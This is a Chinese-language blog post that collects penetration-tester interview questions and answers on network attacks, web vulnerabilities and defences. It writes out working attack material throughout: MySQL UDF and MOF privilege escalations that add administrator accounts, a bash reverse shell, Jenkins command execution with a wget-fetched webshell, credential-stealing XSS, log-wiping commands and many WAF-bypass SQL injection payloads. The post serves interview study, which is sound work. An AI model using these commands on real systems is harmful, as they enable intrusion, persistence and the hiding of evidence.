在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

 

防护

 

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

 

2.在网关绑定主机MAC与IP地址

 

3.使用ARP防火墙

 

DDOS攻击

Ddos原理

 

利用合理的请求造成资源过载,导致服务不可用

危害

重大经济损失

在遭受DDoS攻击后,您的源站服务器可能无法提供服务,导致用户无法访问您的业务,从而造成巨大的经济损失和品牌损失。

 

例如:某电商平台在遭受DDoS攻击时,网站无法正常访问甚至出现短暂的关闭,导致合法用户无法下单购买商品等。

 

数据泄露

黑客在对您的服务器进行DDoS攻击时,可能会趁机窃取您业务的核心数据。

 

恶意竞争

部分行业存在恶性竞争,竞争对手可能会通过DDoS攻击恶意攻击您的服务,从而在行业竞争中获取优势。

 

例如:某游戏业务遭受了DDoS攻击,游戏玩家数量锐减,导致该游戏业务几天内迅速彻底下线。

如何判断业务是否已遭受DDoS攻击?

出现以下情况时,您的业务可能已遭受DDoS攻击:

 

网络和设备正常的情况下,服务器突然出现连接断开、访问卡顿、用户掉线等情况。

服务器CPU或内存占用率出现明显增长。

网络出方向或入方向流量出现明显增长。

您的业务网站或应用程序突然出现大量的未知访问。

登录服务器失败或者登录过慢。

防护

本地防护软件防护

云防护

购买并配置防火墙防护

架设Ids

syn洪流的原理

 

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

 

CC攻击原理

 

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

DDOS防护

 

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

提权

 

mysql两种提权方式

 

udf提权,mof提权

Mysql_UDF提权

 

要求:

1.目标系统是Windows(Win2000,XP,Win2003);

2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数

3.有root账号密码

导出udf:

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like ‘%plugins%’ 寻找mysql安装路径

 

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

 

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

 

Mysql mof提权

 

#pragma namespace("\\\\.\\root\\subscription")

 

instance of __EventFilter as $EventFilter

{

    EventNamespace = "Root\\Cimv2";

    Name  = "filtP2";

    Query = "Select * From __InstanceModificationEvent "

            "Where TargetInstance Isa \"Win32_LocalTime\" "

            "And TargetInstance.Second = 5";

    QueryLanguage = "WQL";

};

 

instance of ActiveScriptEventConsumer as $Consumer

{

    Name = "consPCSV2";

    ScriptingEngine = "JScript";

    ScriptText =

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

};

 

instance of __FilterToConsumerBinding

{

    Consumer   = $Consumer;

    Filter = $EventFilter;

};

其中的第18行的命令,上传前请自己更改。

 

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

 

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

 

特殊漏洞

1、Struts2-045

2、Redis未授权访问

3、产生原因

 

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

利用条件和方法

 

条件:

 

redis服务以root账户运行

redis无密码或弱密码进行认证

redis监听在0.0.0.0公网上

方法:

 

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

上传SSH公钥获得SSH登录权限

通过crontab反弹shell

slave主从模式利用

修复

 

密码验证

降权运行

限制ip/修改端口

Jenkins未授权访问

 

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

 

println “ifconfig -a”.execute().text 执行一些系统命令,利用wget下载webshell

 

MongoDB未授权访问

 

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

 

1、为MongoDB添加认证:

1)MongoDB启动时添加–auth参数

2)给MongoDB添加用户:

use admin #使用admin库

 

db.addUser(“root”, “123456”) #添加用户名root密码123456的用户

db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功

2、禁用HTTP和REST端口

MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false

3、限制绑定IP

启动时加入参数

–bind_ip 127.0.0.1

或在/etc/mongodb.conf文件中添加以下内容:

bind_ip = 127.0.0.1

 

Memcache未授权访问

 

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用

 

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

 

2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

漏洞加固

 

1、设置memchached只允许本地访问

2、禁止外网访问Memcached 11211端口

3、编译时加上–enable-sasl,启用SASL认证

FFMPEG 本地文件读取漏洞

原理

 

通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

安全知识

 

WEB

常用WEB开发JAVA框架

 

STRUTS,SPRING

 

37. 常见的java框架漏洞

其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。

045 错误处理引入了ognl表达式

048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式

反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

 

38. 同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。

不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

39. Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容

 

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

 

JSON劫持,跨域劫持敏感信息,页面类似于

 

function wooyun(v){

    alert(v.username);

}

 

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。

JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

 

PHP

php中命令执行涉及到的函数

 

代码执行

 

eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

文件读取

 

file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

命令执行

 

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。

 

PHP弱类型

 

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

 

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

 

0e开头的字符串等于0

数据库

各种数据库文件存放的位置

 

mysql:/usr/local/mysql/data/ C:\ProgramData\MySQL\MySQL Server 5.6\Data

oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

 

系统知识

40. 如何清理日志

 

meterpreter: clearev

41. 入侵 Linux 服务器后需要清除哪些日志?

 

web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

 

e.g. sed -i -e ‘/192.169.1.1/d’

 

history命令的清除,也是对~/.bash_history进行定向清除

 

wtmp日志的清除,/var/log/wtmp

 

登录日志清除 /var/log/secure

 

LINUX基础

42. 查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

 

netstat -antp ss -l

 

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

 

43. 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

 

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

 

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

 

ls /proc

 

系统信息,硬件信息,内核版本,加载的模块,进程

 

44. linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性?

 

/etc/ssh/sshd___config

iptables配置

 

45. 如何一条命令查看文件内容最后一百行?

 

tail -n 100 filename

 

Windows基础

如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

 

46. 密码学

AES/DES的具体工作步骤

RSA算法

 

加密:

$$

密文=明文^EmodN

$$

RSA加密是对明文的E次方后除以N后求余数的过程

 

$$

公钥=(E,N)

$$

解密:

 

$$

明文=密文^DmodN

$$

 

$$

私钥=(D,N)

$$

 

三个参数n,e1,e2

 

n是两个大质数p,q的积

分组密码的加密模式

47. 如何生成一个安全的随机数?

 

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

 

48. SSL握手过程

 

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。

这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

对称加密与非对称加密的不同,分别用在哪些方面

 

49. TCP/IP

TCP三次握手的过程以及对应的状态转换

 

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;

(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;

(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

 

50. TCP和UDP协议区别

 

tcp面向连接,udp面向报文

tcp对系统资源的要求多

udp结构简单

tcp保证数据完整性和顺序,udp不保证

51. https的建立过程

 

1、客户端发送请求到服务器端

2、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在

3、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端

4、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端

5、客户端使用共享密钥解密数据

6、SSL加密建立

 

流量分析

52. wireshark简单的过滤规则

 

过滤ip:

 

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

 

过滤端口:

 

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

 

协议过滤:

直接输入协议名即可,如http协议http

 

http模式过滤:

 

过滤get/post包http.request.mothod==”GET/POST”

防火墙

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

渗透测试工程师面试3

来源:https://zhuanlan.zhihu.com/p/395959005

问:拿到一个待检测的站,你觉得应该先做什么?

答:收集信息

whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

问:mysql的网站注入,5.0以上和5.0以下有什么区别?

答:5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

 

问:在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

答:丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。

用邮箱做关键词进行丢进搜索引擎。

利用搜索到的关联信息找出其他邮进而得到常用社交账号。

社工找出社交账号,里面或许会找出管理员设置密码的习惯 。

利用已有信息生成专用字典。

观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。

 

问:判断出网站的CMS对渗透有什么意义?

答:查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

 

问:一个成熟并且相对安全的CMS,渗透时扫目录的意义?

答:敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

 

问:常见的网站服务器容器。

答:IIS、Apache、nginx、Lighttpd、Tomcat

 

问:mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

答:root权限以及网站的绝对路径。

 

问:目前已知哪些版本的容器有解析漏洞,具体举例。

答:IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

IIS 7.0/7.5

默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

Nginx

版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。

空字节代码 xxx.jpg%00.php

Apache

上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

lighttpd

 

问:如何手工快速判断目标站是windows还是linux服务器?

答:linux大小写敏感,windows大小写不敏感。

 

为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

 

问:3389无法连接的几种情况。

答:没开放3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

 

问:如何突破注入时字符被转义?

答:宽字符注入

hex编码绕过

 

问:在某后台新闻编辑界面看到编辑器,应该先做什么?

答:查看编辑器的名称版本,然后搜索公开的漏洞。

 

问:拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

答:能做的事情很多,用隐藏网马来举例子:

插入

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

 

问:注入漏洞只能查账号密码?

答:只要权限广,拖库脱到老。

 

问:安全狗会追踪变量,从而发现出是一句话木马吗?

答:是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

 

问:access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。

答:迅雷下载,直接改后缀为.mdb。

 

问:提权时选择可读写目录,为何尽量不用带空格的目录?

答:因为exp执行多半需要空格界定参数

 

问:某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

答:同数据库。

 

问:注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

答:and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

 

问:某个防注入系统,在注入时会提示:

答:系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件

 

问:上传大马后访问乱码时,有哪些解决办法?

答:浏览器中改编码。

 

问:审查上传点的元素有什么意义?

答:有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

 

问:目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

答:先爆破用户名,再利用被爆破出来的用户名爆破密码。

其实有些站点,在登陆处也会这样提示

所有和数据库有交互的地方都有可能有注入。

 

问:目标站发现某txt的下载地址为Client Validation,你有什么思路?

答这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

 

问:甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

答:直接在网站二级目录/abc/下扫描敏感文件及目录。

 

问:在有shell的情况下,如何使用xss实现对目标站的长久控制?

答:后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

 

问:后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

答:审查元素 把密码处的password属性改成text就明文显示了

 

问:目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

答:原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

 

问:审查元素得知网站所使用的防护软件,你觉得怎样做到的?

答:在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

 

问:在win2003服务器中建立一个 .zhongzi文件夹用意何为?

答:隐藏文件夹,为了不让管理员发现你传上去的工具。

 

问:sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

 

答:A. demo.jsp?id=2+1

 

  1. demo.jsp?id=2-1

选B,在 URL 编码中 + 代表空格,可能会造成混淆

 

 

问:以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

 

答:demo.do?DATA=AjAxNg==

DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

 

 

问:发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

 

答:有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell

使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

 

 

问:CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

 

答:XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

 

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

 

 

问:CSRF、SSRF和重放攻击有什么区别?

 

答:CSRF是跨站请求伪造攻击,由客户端发起

SSRF是服务器端请求伪造,由服务器发起

重放攻击是将截获的数据包进行重放,达到身份认证等目的

 

 

问:说出至少三种业务逻辑漏洞,以及修复方式?

 

答:密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码

身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份

验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过

 

 

问:圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

答:get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1

 

Host:.com:82

 

User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1

 

Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

 

Referer:http://.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902

 

Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

 

uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

 

记住这些问题,提前准备,面试不用愁!

 

 

 

在信息收集阶段,我们需要尽量多的收集关于目标web应用的各种信息,比如:脚本语言的类型、服务器的类型、目录的结构、收集脚本语言的类型:常见的脚本语言的类型包括:php、asp、aspx、jsp等

 

测试方法:

 

1 爬取网站所有链接,查看后缀

 

2 直接访问一个不存在页面后面加不同的后缀测试

 

3 查看robots.txt,查看后缀

 

收集服务器的类型:常见的web服务器包括:apache、tomcat、IIS、ngnix等

 

测试方法:

 

1 查看header,判断服务器类型

 

2 根据报错信息判断

 

3 根据默认页面判断

 

收集目录的结构:了解更多的目录,可能发现更多的弱点,如:目录浏览、代码泄漏等。

 

测试方法

 

1 使用字典枚举目录

 

2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取

 

3 查看robots.txt是否泄漏

 

收集使用的开源软件:我们如果知道了目标使用的开源软件,我们可以查找相关的软件的漏洞直接对网站进行测试。

 

测试方法

 

1 指纹识别(网络上有很多开源的指纹识别工具)

 

收集数据库类型:对于不同的数据库有不同的测试方法。

 

测试方法

 

1 使应用程序报错,查看报错信息

 

2 扫描服务器的数据库端口(没做NAT且防火墙不过滤时有效)

 

收集所有链接页面:这个跟前面的获取目录结构类似,但是这个不只是获取网站的所有功能页面,有时候还可以获取到管理员备份的源码。

 

测试方法

 

1 使用字典枚举页面

 

2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取

 

3 查看robots.txt是否泄漏

 

收集用到的框架:很多网站都利用开源的框架来快速开发网站,所以收集网站的框架信息也是非常关键的。

 

测试方法

 

1 指纹识别(网络上有很多开源的指纹识别工具)使用的开源软件、数据库类型、所有链接页面,用到的框架等。

 

某安全公司一面

了解哪些漏洞

Sql注入

XSS

CSRF

SSRF

代码执行

文件读取

命令执行

文件上传

文件包含

未授权访问

框架漏洞

Cms漏洞

同源策略

文件上传有哪些防护方式

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

 

用什么扫描端口,目录

Nmap

使用字典枚举

查看网站robots.txt文档

Dirbuster,御剑等工具

 

如何判断注入

手工判断

1.注入点判断

 

判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入

数字类型,参数不用被引号括起来,如?id=1

其他类型,参数要被引号扩起来,如?name="phone"

服务端返回错误形式

错误直接回显在页面上

错误隐藏在页面源代码中

检测到错误跳转到另一个页面

返回HTTP错误代码500或重定向302

适当处理错误结果,常显示一个通用错误页面

2.工具扫描

Sqlmap

 

注入有防护怎么办(何绕过网站防火墙WAF进一步sql注入——https://blog.csdn.net/dongfei2033/article/details/78480585

尝试绕过

1>注释符

    相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。

    常用注释符:

//, -- , /**/, #, --+, -- -, ;%00

2>情况改变 

    然而,以前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,但是有些只过滤了小写形式,然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况,我们很简单就能绕过。

    比如它的过滤语句是:

 /union\sselect/g

    那么我们就可以这样构造:

id=1+UnIoN/**/SeLeCT

3>内联注释

    有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT

    采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。

比如一个过滤器过滤了:

union,where, table_name, table_schema, =, and information_schema

    这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

    通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

    当一切似乎失败了之后,你可以尝试通过应用防火墙关闭SQL语句中使用的变量:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -

    即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。

4>缓冲区溢出:

    意想不到的输入:

    我们知道,很多的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

    上面的bypass语句,我在最近的一个网站绕过上用到了。

5>替换关键字(preg_replace and/or都能达到相同目的):

    有时程序会删除所有的关键字,例如,有一个过滤器,他会把union select变成空白,这时我们可以采用以下方式进行绕过:

id=1+UNIunionON+SeLselectECT+1,2,3–

    不难明白吧?union和select变成空白了,两边的又会重新组合成新的查询。

UNION+SELECT+1,2,3--

6>Character编码:

    有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句就会被自动解码直接执行了~)

    双重编码bypass语句示例:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

        一些双重编码举例:

单引号:'

%u0027

%u02b9

%u02bc

%u02c8

%u2032

%uff07

%c0%27

%c0%a7

%e0%80%a7

空白:

%u0020

%uff00

%c0%2

%c0%a0

%e0%80%a0

  1.  
  2.  

左括号(:

%u0028

%uff08

%c0%28

%c0%a8

%e0%80%a8

右括号):

%u0029

%uff09

%c0%29

%c0%a9

%e0%80%a9

7>综合:

绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。

    7a>拆散SQL语句:

    通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。

    7b>冗长的报错:

    当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。

    比如你输入的语法是:

 id=1+Select+1,2,3--

    会给你报出以下错误:

Error at line 1 near " "+1,2,3--

    上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:

sel%0bect+1,2,3

     这只是众多方法之一,绕过不同WAF需要不同的bypass思路。

8>高级bypass技巧:

 

 

有没有写过tamper

没写过,但是看过一些相关文章,可以借鉴文章做出来

(https://y4er.com/post/sqlmap-tamper/)

3306 1443 8080是什么端口

3306/tcp,udp MySQL数据库系统

1433/tcp,udp Microsoft SQL 数据库系统

8080/tcp Tomcat

(https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8)

 

 

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

使用过h5,css,js,django的简单实用。可以看懂实现流程

 

如何向服务器写入webshell

利用数据库上传。

  • into out file写入

数据库中secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径;当写入开关打开时,便可以进行webshell写入与查看。然后然后利用此菜刀、蚁剑或者冰蝎链接即可。

  • 通过备份数据库漏洞写入

数据库备份为大多数CMS后台管理页面必备的功能,但是如果后台校验不严格,容易通过恢复备份方式上传WebShell,以下以emlog的CMS讲,测试版本5.3.0

https://www.freebuf.com/articles/web/246228.html

有没有用过xss平台

学习过。会用。

Xss平台主要的获取cookie操作就在于这段js代码里面,随后在将数据发送至某个控制器中进行处理。而插入的短地址指向的内容其实就是平台的一串JS代码。最后访问即直接调用的这串JS代码。

这种短连接也可以网上搜索或创建使用。

 

网站渗透的流程

信息收集,漏洞探测,漏洞利用,提权,清除测试数据&输出报告,复测

 

mysql两种提权方式(udf,?)

Udf和mof

1.目标系统是Windows(Win2000,XP,Win2003);

2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数

3.有root账号密码

导出udf:

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数

 

 

常见加密方式xxx

Md5

Base64

Aes

Rsa

Sha

加盐

https

 

ddos如何防护

本地防护软件防护

云防护

购买并配置防火墙防护

架设Ids

 

有没有抓过包,会不会写wireshark过滤规则

有,通过需求自己选择。如ip,tcp,udp包。

 

清理日志要清理哪些

web日志

history命令的清除

wtmp日志的清除

登录日志清

 

某安全公司:

你知道哪些能拿下一个网站的漏洞

order by注入 limit注入 后面跟的函数有什么不同

order by 含义

sqlserver注入

基于css的xss

基于flash的xss原理

过滤了单引号into outfile还能用吗

除了script ,html事件之外还有哪些存在xss的地方

iis拒绝服务原理

ssrf除了探测主机外如何进一步进行攻击

uname -a ‘-a’参数可控如何执行多条指令

posted @ 2021-09-11 15:16  EpheSeren  阅读(672)  评论(0编辑  收藏  举报